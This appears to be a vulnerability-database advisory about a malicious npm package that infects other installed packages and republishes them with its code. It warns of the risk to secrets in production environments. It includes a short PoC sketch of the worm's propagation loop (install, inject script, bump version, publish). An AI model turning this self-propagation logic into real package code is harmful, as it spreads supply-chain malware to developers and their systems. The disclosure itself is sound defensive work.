Malicious Package Affecting sdfjghlkfjdshlkjdhsfg package, versions *
Threat Intelligence
Exploit Maturity
Mature
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Test your applications- Snyk ID npm:sdfjghlkfjdshlkjdhsfg:20170917
- published 17 Sep 2017
- disclosed 8 Aug 2017
- credit Jordan Wright
How to fix?
Avoid usage of this package altogether.
Overview
sdfjghlkfjdshlkjdhsfg is a malicious package that infects the installing npm package, infecting them with malicious code and republishing them with it, worming its way into other npm packages.
This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.
PoC:
function infectModule (moduleName) {
installModule(moduleName)
.then(() => {
addScript(moduleName);
copyScript(moduleName);
return incrementPatchVersion(moduleName);
})
.then(() => publishInfectedModule(moduleName))
.catch(() => {});
}
const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";
infectModule(MODULE_NAME);
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CVSS Scores
version 3.1